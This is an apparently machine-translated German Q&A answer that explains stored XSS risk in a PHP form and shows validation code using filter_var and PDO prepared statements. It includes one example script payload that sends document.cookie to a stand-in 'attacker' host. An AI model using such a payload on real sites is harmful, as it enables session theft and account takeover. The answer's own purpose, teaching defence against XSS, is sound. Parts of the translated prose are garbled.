Während ein Benutzer die Datenbank nicht mittels Injektion ausnutzen kann, ist er auf andere Weise anfällig.
Sie überprüfen nicht die Gültigkeit der Daten, die Sie in Ihre Datenbank eingeben. Es ist zwar nicht genau ist erforderlich, dies zu tun, aber wenn ich dies als eine E-Mail-Adresse oder Telefonnummer einreichen würde:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
Und Sie echo
diese heraus auf Ihrer Website und besuchen es, werden Sie umgeleitet mich Senden Ihre Login-Cookies und jetzt kann ich diese Daten verwenden, um sich als Sie einzuloggen und wenn Sie zufällig der Site-Administrator sind ... Die Art des Angriffs heißt XSS.
Und nicht die Gültigkeit der Daten überprüfen, gibt es viele Möglichkeiten, dies zu tun, aber dies als Beispiel nehmen:
$phone = $_POST['user_phone'];
$email = $_POST['user_email'];
if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
# if this is true, the email address has a correct format.
# see the filter_var manual for more information.
if(is_numeric($phone)){
$insert = $db->prepare(
'INSERT INTO user (user_email, user_phone)
VALUES (:user_email, :user_phone)'
);
$insert->bindValue(':user_email', $email, PDO::PARAM_STR);
$insert->bindValue(':user_phone', $phone, PDO::PARAM_STR);
if($insert->execute()){
echo 'success!';
} else {
echo 'failed to execute query.';
}
} else {
echo 'phone number is incorrect.';
}
} else {
echo 'email is not correct.';
}
Mit diesem Code gespeichert alle Daten gültig. Es heißt nicht, dass die E-Mail-Adresse noor oder die Telefonnummer existiert.
Da die meisten XSS-Angriffe auf <
angewiesen werden, um eine Ausführung von Javascript zuzulassen, wird es negiert, da das <
-Zeichen in einer E-Mail-Adresse nicht zulässig ist.
Mein Rat, überprüfen Sie, ob die Daten das sind, was Sie erwarten, bevor Sie es speichern, anstatt es zu speichern und die Sicherheitsprobleme später zu beheben.
Ich denke, '(user_email, user_phone (' 'sollte (user_email, user_phone)' sein, aber ansonsten sieht gut –
Gut dank wissen – Charlie
es in der Regel eine gute Idee ist, durch diese Richtlinie https gehen: // www. .owasp.org/index.php/Top_10_2013-Top_10 –